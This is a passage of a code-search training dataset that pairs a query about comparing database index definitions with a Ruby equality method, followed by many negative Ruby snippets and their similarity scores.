"0.52092355", "0.5202331", "0.51984006", "0.5198163", "0.51876456", "0.5187382", "0.51873046", "0.5181469", "0.517181", "0.51715225", "0.516631", "0.5156283", "0.5156283", "0.5156213", "0.51543105", "0.515423", "0.51533747", "0.5152495", "0.51500803", "0.51342994", "0.51342994", "0.5107178", "0.51032007", "0.50983304", "0.50902545", "0.50897485", "0.508214", "0.50777376", "0.5074218", "0.50710976" ]
0.0
-1
returns the options as a hash suitable for add_index
def opts #:nodoc: opts = {} opts[:name] = name unless name.nil? opts[:unique] = unique unless unique.nil? opts[:length] = lengths unless lengths.nil? opts[:conditions] = conditions unless conditions.nil? opts[:expression] = expression unless expression.nil? opts[:kind] = kind unless kind.nil? opts[:case_sensitive] = case_sensitive? unless @case_sensitive.nil? opts[:operator_classes] = @operator_classes unless @operator_classes.nil? opts end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index_options options\n defaults = {\n :type => 'string',\n :indexed => true,\n :stored => false,\n :multi_valued => false,\n :required => false,\n :copy_to => nil,\n }\n index_options = {}\n defaults.each_pair do |opt_name,default|\n if options.has_key?(opt_name)\n index_options[opt_name] = options[opt_name]\n else\n index_options[opt_name] = default \n end\n end\n index_options[:type] = index_options[:type].to_s\n index_options\n end", "def index_options(keys=[:background, :unique, :sparse])\n Hash[ keys.map { |k| [k, true] } ]\n end", "def normalize_index_options(options)\n opts = options || {}\n opts[:dropDups] = opts.delete(:drop_dups) if opts.has_key?(:drop_dups)\n opts[:bucketSize] = opts.delete(:bucket_size) if opts.has_key?(:bucket_size)\n if opts.has_key?(:expire_after_seconds)\n opts[:expireAfterSeconds] = opts.delete(:expire_after_seconds)\n end\n opts\n end", "def options\n {:index => (index.blank? ? nil : index)}\n end", "def canonic_opts\n o = { :unique => false, :name => default_index_name }\n o.merge!( opts )\n o.delete_if{ |key, value| IGNORED_OPTS.include? key }\n end", "def set_index_options\n limit = params[:limit].to_i > 0 ? params[:limit].to_i : nil\n reverse = params[:reverse].present? ?\n params[:reverse].to_s.to_boolean(false) : nil\n with_group_members = params[:with_group_members].present? || params[:without_grouping].present? ?\n params[:with_group_members].to_s.to_boolean(false) || params[:without_grouping].to_s.to_boolean(false) : nil\n @index_options = params.permit(:filter, :filtered_by_type, :filtered_by_group_type, :filtered_by_group_id, :filtered_by_key, :later_than, :earlier_than, :routing_scope, :devise_default_routes)\n .to_h.symbolize_keys\n .merge(limit: limit, reverse: reverse, with_group_members: with_group_members)\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end", "def index_options\n return false unless index && index == entity.key_column\n if entity.is_core\n { unique: true }\n else\n true\n end\n end", "def to_hash\n { @key => @options }\n end", "def index_algorithms\n {}\n end", "def index_algorithms\n {}\n end", "def index_to_generator_opts(table, name, index_opts, options=OPTS)\n h = {}\n if options[:index_names] != false && default_index_name(table, index_opts[:columns]) != name.to_s\n if options[:index_names] == :namespace && !global_index_namespace?\n h[:name] = \"#{table}_#{name}\".to_sym\n else\n h[:name] = name\n end\n end\n h[:unique] = true if index_opts[:unique]\n h[:deferrable] = true if index_opts[:deferrable]\n h\n end", "def set_index_options\n limit = params[:limit].to_i > 0 ? params[:limit].to_i : nil\n reverse = params[:reverse].present? ?\n params[:reverse].to_s.to_boolean(false) : nil\n @index_options = params.permit(:filter, :filtered_by_key, :routing_scope, :devise_default_routes)\n .to_h.symbolize_keys.merge(limit: limit, reverse: reverse)\n end", "def to_hash\n OPTIONS.each_with_object({}) do |option, hash|\n key = option.first\n hash[key] = send(key)\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end", "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end", "def to_hash\n {:name => name, :options => options}\n end", "def options\n Hash[ * VALID_OPTIONS_KEYS.map { |key| [key, send(key)] }.flatten ]\n end", "def index_to_generator_opts(table, name, index_opts)\n h = {}\n h[:name] = name unless default_index_name(table, index_opts[:columns]) == name.to_s\n h[:unique] = true if index_opts[:unique]\n h\n end", "def options\n\t\t\toptions = {}\n\t\t\tVALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n\t\t\toptions\n\t\tend", "def options\n Hash[VALID_OPTIONS.map { |key| [key, send(key)] }]\n end", "def options\n\t\t\tVALID_OPTIONS_KEYS.inject({}) do |option,key|\n\t\t\t\toption.merge!(key => send(key))\n\t\t\tend\n\t\tend", "def options\n @options ||= Hash.new{ |h, k| h[k] = {} }\n end", "def to_hash\n index_hash = {}\n index_hash['json_claz'] = self.class.name\n index_hash['id'] = id\n index_hash['settings_name'] = settings_name\n index_hash['cattype'] = cattype\n index_hash['flavor'] = flavor\n index_hash['image'] = image\n index_hash['catorder'] = catorder\n index_hash['url'] = url\n index_hash['envs'] = envs\n index_hash['options'] = options\n index_hash['plans'] = plans\n index_hash['created_at'] = created_at\n index_hash\n end", "def as_indexed_json(options={})\n as_json(except: [:id, :_id]).merge(url: self.url)\n end", "def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, send(key)] }]\n end", "def hash\n [cluster, options].hash\n end", "def hash\n [cluster, options].hash\n end", "def options\n @criteria_hash.options\n end", "def as_indexed_json(_options)\n as_json(\n methods: [:vendor_name, :subject_search_index, :rss_search_index, :curated_search_index, :published, :keywords],\n only: [:id, :name, :vendor_name, :description, :title_search, :keywords]\n )\n end", "def to_hash\n @index\n end", "def business_index(index_column, options = {})\n pkey = self.name.foreign_key.to_sym\n @@business_index_dictionary ||= HashWithIndifferentAccess.new\n @@business_index_aliases ||= HashWithIndifferentAccess.new\n if options[:as]\n case options[:as]\n when nil then nil\n when Array then \n options[:as].each do |as_el|\n @@business_index_dictionary[as_el] = pkey\n @@business_index_aliases[as_el] = index_column\n end\n else\n @@business_index_dictionary[options[:as]] = pkey\n @@business_index_aliases[options[:as]] = index_column\n end\n\n elsif options[:aka]\n case options[:aka]\n when nil then nil\n when Array then \n options[:aka].push(index_column).each do |as_el|\n @@business_index_dictionary[as_el] = pkey\n @@business_index_aliases[as_el] = index_column\n end\n else\n [options[:aka], index_column].each do |as_el|\n @@business_index_dictionary[as_el] = pkey\n @@business_index_aliases[as_el] = index_column\n end\n end\n\n else\n @@business_index_dictionary[index_column] = pkey\n @@business_index_aliases[index_column] = index_column\n end\n end", "def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def as_indexed_json(_options = {})\n {\n \"id\" => uid,\n \"uid\" => uid,\n \"name\" => name,\n \"given_name\" => given_name,\n \"family_name\" => family_name,\n \"email\" => email,\n \"github\" => github,\n \"created\" => created,\n \"updated\" => updated,\n \"role_id\" => role_id,\n \"role_name\" => role_name,\n \"beta_tester\" => beta_tester,\n \"is_public\" => is_public,\n \"auto_update\" => auto_update,\n \"is_active\" => is_active,\n \"orcid_token\" => orcid_token,\n \"orcid_expires_at\" => orcid_expires_at,\n \"claims_count\" => claims_count,\n }\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, public_send(key)] }]\n end", "def options\n options = {}\n attributes_for(self).each do |p|\n option = self.send(p.to_sym) \n options[p] = option unless option.nil?\n end\n options\n end", "def key_index\n options[:key_index]\n end", "def as_indexed_json(options={})\n self.as_json(\n include: { categories: { only: :title},\n authors: { methods: [:full_name, :department], only: [:full_name, :department] },\n comments: { only: :text }\n })\n end", "def index_hash\n mapping = self.class.instance_variable_get(:@_mapping)\n mapping.inject({}) do |h, (k, v)|\n h[k] = self.send(v[:field])\n h\n end\n end", "def options\n hash = {}\n self.class.option_definitions.each do |option|\n hash[option.name] = send(option.name)\n end\n hash\n end", "def options \n options = {}\n VALID_OPTIONS_KEYS.each {|k| options[k] = send(k)}\n options\n end", "def to_hash\n index_hash = {}\n index_hash['json_claz'] = self.class.name\n index_hash['id'] = id\n index_hash[\"account_id\"] = account_id\n index_hash['name'] = name\n index_hash['allowed'] = allowed\n index_hash['allocated_to'] = allocated_to\n index_hash['quota_type'] = quota_type\n index_hash['status'] = status\n index_hash['inputs'] = inputs\n index_hash['created_at'] = created_at\n index_hash['updated_at'] = updated_at\n index_hash\n end", "def options\n OPTIONS_KEYS.inject({}) do |options, key|\n options.merge!(key => send(key))\n end\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k) }\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k) }\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k) }\n options\n end", "def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end", "def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n opts = {}\n self.configuration_options.each do |option|\n opts.merge!({option.name.to_sym => option.value})\n end\n opts\n end", "def hadoop_jobconf_options\n if reads_from_elasticsearch? || writes_to_elasticsearch?\n settings[:map_speculative] = 'false' if settings[:map_speculative].nil?\n settings[:reduce_speculative] = 'false' if settings[:reduce_speculative].nil?\n end\n \n super() + [].tap do |o|\n if (reads_from_elasticsearch? || writes_to_elasticsearch?)\n o << java_opt('es.config', settings[:es_config])\n o << java_opt('elasticsearch.transport', settings[:es_transport])\n o << java_opt('elasticsearch.transport.host', settings[:es_transport_host]) if settings[:es_transport] && settings[:es_transport_host]\n o << java_opt('elasticsearch.transport.port', settings[:es_transport_port]) if settings[:es_transport] && settings[:es_transport_port]\n end\n \n if reads_from_elasticsearch?\n o << java_opt('elasticsearch.input.index', input_index.index)\n o << java_opt('elasticsearch.input.mapping', input_index.mapping)\n o << java_opt('elasticsearch.input.splits', settings[:es_input_splits])\n o << java_opt('elasticsearch.input.query', settings[:es_query])\n o << java_opt('elasticsearch.input.request_size', settings[:es_request_size])\n o << java_opt('elasticsearch.input.scroll_timeout', settings[:es_scroll_timeout])\n end\n\n if writes_to_elasticsearch?\n o << java_opt('elasticsearch.output.index', output_index.index)\n o << java_opt('elasticsearch.output.mapping', output_index.mapping)\n o << java_opt('elasticsearch.output.index.field', settings[:es_index_field])\n o << java_opt('elasticsearch.output.mapping.field', settings[:es_mapping_field])\n o << java_opt('elasticsearch.output.id.field', settings[:es_id_field])\n o << java_opt('elasticsearch.output.bulk_size', settings[:es_bulk_size])\n end\n end.flatten.compact\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def options\n options = {}\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n options\n end", "def to_hash\n index_hash = {}\n index_hash['json_claz'] = self.class.name\n index_hash['id'] = id\n index_hash['provided_by'] = provided_by\n index_hash['cattype'] = cattype\n index_hash['flavor'] = flavor\n index_hash['image'] = image\n index_hash['catorder'] = catorder\n index_hash['url'] = url\n index_hash['envs'] = envs\n index_hash['options'] = options\n index_hash['plans'] = plans\n index_hash['created_at'] = created_at\n index_hash['updated_at'] = updated_at\n index_hash['status'] = status\n index_hash['inputs'] = inputs\n index_hash['outputs'] = outputs\n index_hash['acl_policies'] = acl_policies\n index_hash[\"some_msg\"] = some_msg\n index_hash\n end", "def as_json(options={})\n super :except => [:_index, :_type, :_version, :_score, :_explanation, :sort, :highlight]\n end", "def options *options\n if options.size > 0\n @options = {}\n options.each do |a|\n a.is_a?(Hash) ?\n @options.update(a) :\n a.is_a?(Array) ?\n @options.update(Hash[a.zip(a)]) :\n @options.update(a => a)\n end\n end\n @options\n end", "def as_indexed_json(option={})\n \t self.as_json(\n \t \t include: {\n \t \t \t department: { only: :name },\n \t \t \t bmet_model: { only: [:model_name, :manufacturer_name, :vendor_name]}\n\t\t })\n end", "def query_options\n # todo: support more options?\n options = {}\n options.merge!({:limit => limit_value.to_json}) if limit_value\n options.merge!({:skip => @options[:skip].to_json}) if @options[:skip]\n options.merge!({:reversed => reversed?.to_json}) if reversed?\n options.merge!({:order => @options[:order]}) if @options[:order]\n options.merge!({:cursor => @options[:cursor]}) if @options[:cursor]\n options\n end", "def as_indexed_json(_options = {})\n as_json(\n include: {\n city: {},\n room_location_service: {},\n photos: {},\n extras: {},\n owner: {}\n }\n ).merge location: { lat: latitude, lon: longitude }\n end", "def to_hash\n default_options.to_hash\n end", "def to_hash\n default_options.to_hash\n end", "def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def as_indexed_json(options = {}) \n # self.as_json(options.merge(root: false)) \n properties.merge({objectId: obj_id, createdAt: created_at, updated_at: updated_at, id: id})\n end", "def get_options; end", "def options\n @options ||= Launchr::OrderedHash.new\n @options\n end", "def options\n ops = {}\n @options.each_value do |data|\n if data.given?\n if !data.short_name.nil?\n ops[data.short_name] = nil\n else\n ops[data.long_name] = nil\n end\n end\n end\n return ops.keys\n end", "def as_indexed_json(options={})\n hash = self.as_json(\n include: { authors: { methods: [:full_name], only: [:full_name] },\n comments: { only: [:body, :stars, :pick, :user, :user_location] }\n })\n hash['categories'] = self.categories.map(&:title)\n hash\n end", "def as_indexed_json(options = {})\n {\n \"id\" => uid,\n \"uid\" => uid,\n \"name\" => name,\n \"display_name\" => display_name,\n \"client_ids\" => options[:exclude_associations] ? nil : client_ids,\n \"prefix_ids\" => options[:exclude_associations] ? nil : prefix_ids,\n \"contact_ids\" => options[:exclude_associations] ? nil : contact_ids,\n \"symbol\" => symbol,\n \"year\" => year,\n \"system_email\" => system_email,\n \"group_email\" => group_email,\n \"is_active\" => is_active,\n \"description\" => description,\n \"website\" => website,\n \"region\" => region,\n \"country_code\" => country_code,\n \"logo_url\" => logo_url,\n \"focus_area\" => focus_area,\n \"organization_type\" => organization_type,\n \"member_type\" => member_type,\n \"non_profit_status\" => non_profit_status,\n \"consortium_id\" => consortium_id,\n \"consortium_organization_ids\" =>\n options[:exclude_associations] ? nil : consortium_organization_ids,\n \"role_name\" => role_name,\n \"password\" => password,\n \"cache_key\" => cache_key,\n \"joined\" => joined.try(:iso8601),\n \"twitter_handle\" => twitter_handle,\n \"ror_id\" => ror_id,\n \"salesforce_id\" => salesforce_id,\n \"globus_uuid\" => globus_uuid,\n \"billing_information\" => {\n \"address\" => billing_address,\n \"organization\" => billing_organization,\n \"department\" => billing_department,\n \"postCode\" => billing_post_code,\n \"state\" => billing_state,\n \"country\" => billing_country,\n \"city\" => billing_city,\n },\n \"technical_contact\" => technical_contact,\n \"secondary_technical_contact\" => secondary_technical_contact,\n \"billing_contact\" => billing_contact,\n \"secondary_billing_contact\" => secondary_billing_contact,\n \"service_contact\" => service_contact,\n \"secondary_service_contact\" => secondary_service_contact,\n \"voting_contact\" => voting_contact,\n \"has_required_contacts\" => has_required_contacts,\n \"created\" => created.try(:iso8601),\n \"updated\" => updated.try(:iso8601),\n \"deleted_at\" => deleted_at.try(:iso8601),\n \"cumulative_years\" => cumulative_years,\n \"consortium\" => consortium.try(:as_indexed_json),\n \"contacts\" =>\n if options[:exclude_associations]\n nil\n else\n contacts.map { |m| m.try(:as_indexed_json, exclude_associations: true) }\n end,\n \"doi_estimate\" => doi_estimate\n }\n end", "def options()\n {}\n end", "def to_hash\n index_hash = Hash.new\n index_hash[\"json_claz\"] = self.class.name\n index_hash[\"id\"] = id\n index_hash[\"req_type\"] = req_type\n index_hash[\"appdefns_id\"] = appdefns_id\n index_hash[\"node_name\"] = node_name\n index_hash[\"lc_apply\"] = lc_apply\n index_hash[\"lc_additional\"] = lc_additional\n index_hash[\"lc_when\"] = lc_when\n index_hash[\"created_at\"] = created_at\n index_hash[\"some_msg\"] = some_msg\n index_hash\n end", "def to_hash\n\t\ta = Hash.new\n\t\t@option.each_pair do |k, v|\n\t\t\ta[k] = v.value\n\t\tend\n\t\ta\n\tend", "def options\n @options ||= {}\n end", "def options\n @options ||= {}\n end", "def options\n @options ||= {}\n end" ]
[ "0.80307937", "0.7666228", "0.7292694", "0.7051041", "0.6997789", "0.68699014", "0.6676805", "0.6676805", "0.6676805", "0.6676805", "0.6676805", "0.6661608", "0.66598046", "0.66419864", "0.66419864", "0.6602343", "0.6588176", "0.6558151", "0.64816123", "0.64816123", "0.64816123", "0.64816123", "0.64512444", "0.64399326", "0.6427318", "0.6426428", "0.6426235", "0.64244485", "0.6404493", "0.640446", "0.6374755", "0.6353805", "0.6338262", "0.6338262", "0.6328993", "0.6325968", "0.63063616", "0.62900317", "0.6288159", "0.62852913", "0.6269815", "0.62676674", "0.62649834", "0.62554616", "0.62439996", "0.62439257", "0.6239346", "0.62228006", "0.6220375", "0.6215607", "0.6214149", "0.6206328", "0.6206328", "0.6206328", "0.61817974", "0.61815494", "0.61789423", "0.61789423", "0.61789423", "0.61789423", "0.61789423", "0.61789423", "0.61784893", "0.6175512", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.61747307", "0.6166682", "0.6165538", "0.6164015", "0.61517817", "0.61464155", "0.61449194", "0.61400574", "0.61400574", "0.6129967", "0.61254567", "0.61226666", "0.6107701", "0.60880136", "0.60850054", "0.6081734", "0.6080909", "0.6078606", "0.6074911", "0.6072038", "0.6072038", "0.6072038" ]
0.0
-1
tests if the corresponding indexes would be the same
def ==(other) return false if other.nil? return false unless self.name == other.name return false unless Array.wrap(self.columns).collect(&:to_s).sort == Array.wrap(other.columns).collect(&:to_s).sort return false unless !!self.unique == !!other.unique return false unless Array.wrap(self.lengths).compact.sort == Array.wrap(other.lengths).compact.sort return false unless self.conditions == other.conditions return false unless self.expression == other.expression return false unless self.kind == other.kind return false unless self.operator_classes == other.operator_classes return false unless !!self.case_sensitive? == !!other.case_sensitive? true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end", "def == other\n other.is_a?( Index ) &&\n columns == other.columns &&\n canonic_opts == other.canonic_opts\n end", "def matches_in_place(a, b)\n a.map.with_index{|e,i| e == b[i]}\nend", "def dense_eql_sparse? m #:nodoc:\n m.each_with_indices do |v,*indices|\n return false if self[*indices] != v\n end\n\n return true\n end", "def eql?(other)\n other.is_a?(self.class) && other.index == index\n end", "def unique?\n indexes.any?{|i| i.unique}\n end", "def degenerate?\n @indexes.size == 0\n end", "def == (other)\n @filas.times do |i|\n @columnas.times do |j|\n if at(i, j) != other.at(i,j)\n return false\n end\n end\n end\n \n return true\n end", "def == (other)\n @filas.times do |i|\n @columnas.times do |j|\n if at(i, j) != other.at(i,j)\n return false\n end\n end\n end\n \n return true\n end", "def indices_equal(val)\n indices = []\n self.each_with_index do |v,i|\n if val == v\n indices << i\n end\n end\n indices\n end", "def ==(other)\n return false unless self.size == other.size\n self.each_index {|idx| return false unless self[idx] == other[idx]}\n return true\n end", "def check_indexes(table)\n indexes = table_indexes(table)\n\n indexes.permutation(2).each_with_object([]) do |(source_index, target_index), response|\n next unless source_index.columns.start_with?(target_index.columns)\n\n if target_index.unique\n response << {\n index: source_index,\n result: \"#{source_index.name} has column(s) on the right side of unique index (#{target_index.name}). You can drop if low cardinality\",\n }\n else\n response << {\n index: target_index,\n result: \"#{target_index.name} is a left-prefix of #{source_index.name}\",\n }\n end\n end\n end", "def hit_itself?\n # list.uniq removes all repeated elements from a list\n @positions.uniq.length != @positions.length\n end", "def ==(other)\n return false unless other.is_a? SparseMatrix\n return false unless self.internalRepItemCount == other.internalRepItemCount\n self.each_with_index {|index,val|\n return false unless other[index] == val\n }\n end", "def hashable? = super && index.hashable?", "def check_positions(array)\n array.each do |a|\n array.each do |b|\n next if a == b\n return false if a[1] == b[1] || a[2] == b[2]\n end\n end\n\n return true\nend", "def all_same?\n self.all? { |element| element == self[0] }\n end", "def all_same?\n self.all? { |element| element == self[0] }\n end", "def ==(rhs_)\n if rhs_.equal?(self)\n true\n elsif rhs_.is_a?(Structure)\n rhs_indexes_ = rhs_.instance_variable_get(:@indexes)\n if rhs_indexes_.size == @indexes.size\n rhs_indexes_.each_with_index do |rhs_ai_, i_|\n lhs_ai_ = @indexes[i_]\n return false unless lhs_ai_.axis_object == rhs_ai_.axis_object && lhs_ai_.axis_name == rhs_ai_.axis_name\n end\n return true\n end\n false\n else\n false\n end\n end", "def hidden_singles\n rows_with_index.any? do |_, row|\n possible_values = row.map { |cell, n| [legal_values(n), n] }\n Hash[(1..@size).map do |value|\n [value, possible_values.select { |values, index| values.include? value }.map(&:last)]\n end].any? do |value, indexes|\n if indexes.size == 1\n @pz[indexes.first] = value\n true\n end\n end\n end\n end", "def array_equals(array1, array2)\n #if the arrays are different lengths, will return false\n if array1.length != array2.length\n return false\n end\n\n # compares each element of array, starting at index[0]\n # if they are not equivalent at any point, then it will return false\n # else it will return true when completed \n x = 0\n array1.length.times do\n if array1[x] != array2[x]\n return false\n end\n x += 1\n end\n return true\nend", "def is_exact_match?(other_code, index)\n @seq[index] == other_code.seq[index]\n end", "def equals_index?(arr)\n for i in 0...arr.length do\n if arr[i] == i\n return true\n end\n end \n return false\nend", "def ==(other)\n return super unless has_size?\n return false if size != other.size\n size.times do |i|\n return false if self[i] != other[i]\n end\n\n return true\n end", "def includes_index?(index)\n (-self.length...self.length).cover?(index)\n end", "def == (other)\n iguales = true\n @filas.times do |i|\n @columnas.times do |j|\n if @elementos[i][j] != other.at(i,j)\n iguales = false\n end\n end\n end\n \n return iguales\n end", "def areSimilar(a, b)\n count = 0\n \n for i in 0..(a.count-1)\n if a[i] != b[i]\n count += 1\n end\n end\n \n if count < 3\n if a.sort == b.sort\n return true\n end\n end\n \n false\nend", "def indexes_exist?(vegie_arr, choice_arr)\n vegie_index = []\n vegie_arr.each_index {|index| vegie_index << index}\n if choice_arr.length > vegie_arr.length\n return false\n else\n choice_arr.each do |value|\n return false if !vegie_index.include?(value - 1)\n end\n end\n true\n end", "def has_duplicate?(array)\n array.each_with_index do |_, i|\n array.each_with_index do |_, j|\n if i != j && array[i] == array[j]\n return true\n end\n end\n end\n false\nend", "def cons_check(coords)\n coords.each_cons(2).all? do |first, second|\n if first[0] == second[0]\n first[1].ord + 1 == second[1].ord\n elsif first[0].ord + 1 == second[0].ord\n first[1] == second[1]\n else\n false\n end\n end\n end", "def same?\n similarities.size == 1 && similarities.first.distance.zero? # The same\n end", "def areSimilar(a, b)\n return true if a == b\n\n if a.sort == b.sort\n temp_array = a\n counter = 0\n (0...a.length).each do |i|\n if (a[i] != b[i]) && (counter < 2)\n temp_array[i] = b[i]\n counter += 1\n end\n end\n return true if temp_array == b\n end\n\n return false\n\nend", "def connected(index1, index2)\n root(index1) == root(index2)\n end", "def include?(other)\n set_indexes.sort & other.set_indexes.sort == other.set_indexes.sort\n end", "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\nmatching_elem = Hash.new\n\ni = 0\nwhile i < array1.length\n elem = array1[i]\n if matching_elem[elem]\n matching_elem[elem] += 1\n else\n matching_elem[elem] = 1\n end\n i += 1\nend\n\ni = 0\nwhile i < array2.length\n elem = array2[i]\n if matching_elem[elem]\n matching_elem[elem] -= 1\n elsif matching_elem[elem] && matching_elem[elem] < 0\n return false\n else\n return false\n end\n i += 1\nend\n\nreturn true\n# x = \"\"\n# same_count =\n# same_elements =\n# elements_match = 0\n# first_array_counter = 0\n# second_array_counter = 0\n#\n# array1.each_index do |i|\n# i += 1\n# first_array_counter += i\n# end\n# print first_array_counter\n#\n# array2.each_index do |i|\n# i += 1\n# second_array_counter += i\n# end\n# print second_array_counter\n#\n# # list_one = array1.size\n# # list_two = array2.size\n#\n# if first_array_counter == second_array_counter\n# same_count = true\n# elsif array1 == nil && array2 == nil\n# same_elements = true\n# elsif array1 == nil && array2 != nil\n# same_elements = false\n# elsif array2 == nil && array1 != nil\n# same_elements = false\n# else\n# same_count = false\n# end\n#\n# if same_count == true\n# first_array_counter.times do |i|\n# if array1[i] == array2[i]\n# elements_match += 1\n# end\n# end\n# end\n#\n# if elements_match == (first_array_counter) && elements_match == (second_array_counter)\n# same_elements = true\n# end\n#\n# if same_count == same_elements\n# x = true\n# else\n# x = false\n# end\n#\n# return x\nend", "def test_index_one_repeated_word\n #assert false # bogus assert -- remove or comment out\n @concordance.index!(['zero','zero','zero'])\n assert_equal({'zero'=>[1]},@concordance.hash)\n end", "def array_equals(array1, array2)\nif array1 == nil && array2 == nil\n return true\nelsif array1 == nil || array2 == nil\n return false\nend\n\n\n\nif array1.length != array2.length\n return false\n\nend\n\n\narray1.length.times do |index|\n\n if array1[index] != array2[index]\n return false\n end\nend\n\n\n\n\nreturn true\n\nend", "def equal(array1, array2)\n hash1 = {}\n hash2 = {}\n array1.length.times do |x|\n if hash1.has_key?(array1[x])\n hash1[array1[x]] += 1\n else\n hash1[array1[x]] = 1\n end\n end\n array2.length.times do |x|\n if hash2.has_key?(array2[x])\n hash2[array2[x]] += 1\n else\n hash2[array2[x]] = 1\n end\n end\n return hash1 == hash2\nend", "def include?(indexes)\n indexes.all? { |index| self[index] == 1 }\n end", "def check_guess_exact_position\n answer = []\n temp = @rows[@guess_number - 1].dup\n temp_key = @key.dup\n @key.each_with_index do |el, i|\n if el == temp[i]\n answer << 2\n temp[i] = 0\n temp_key[i] = 0\n end\n end\n [answer, temp, temp_key]\n end", "def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil\n return false\n elsif array1 != nil && array2 == nil\n return false\n elsif array1 == [] && array2 == []\n return true\n end\n\n array1_length = 0\n array1.each do |element|\n array1_length = array1_length + 1\n end\n\n array2_length = 0\n array2.each do |element|\n array2_length = array2_length + 1\n end\n\n if array1_length == array2_length\n index1 = 0\n array1_length.times do\n if (array1[index1] == array2[index1])\n index1 = index1 + 1\n else\n return false\n end\n end\n return true\n else\n return false\n end\nend", "def all_same?\n\t\t\tself.all? { |element| (element == self[0]) && (element != nil) }\n\t\tend", "def same_set?(a, b)\n ((a - b) + (b - a)).blank?\n end", "def same_hash?(submitted, saved)\n saved.count == submitted.count and\n Hash[saved.map { |key, value| [key, same?(submitted[key], value)] }]\n end", "def on2(numbers)\n numbers.each_with_index do |number, index|\n numbers.each_with_index do |another_number, another_index|\n next if index == another_index\n\n return true if number == another_number\n end\n end\n\n false\n end", "def ana_array(arr1, arr2) \n counter1 = Hash.new(0)\n counter2 = Hash.new(0)\n\n arr1.each do |ele|\n counter1[ele] += 1\n end\n\n arr2.each do |ele|\n counter2[ele] += 1\n end\n\n counter1.each_key do |key|\n if counter2.key?(key) \n if counter2[key] != counter1[key]\n return false\n end\n else \n return false\n end \n end\n 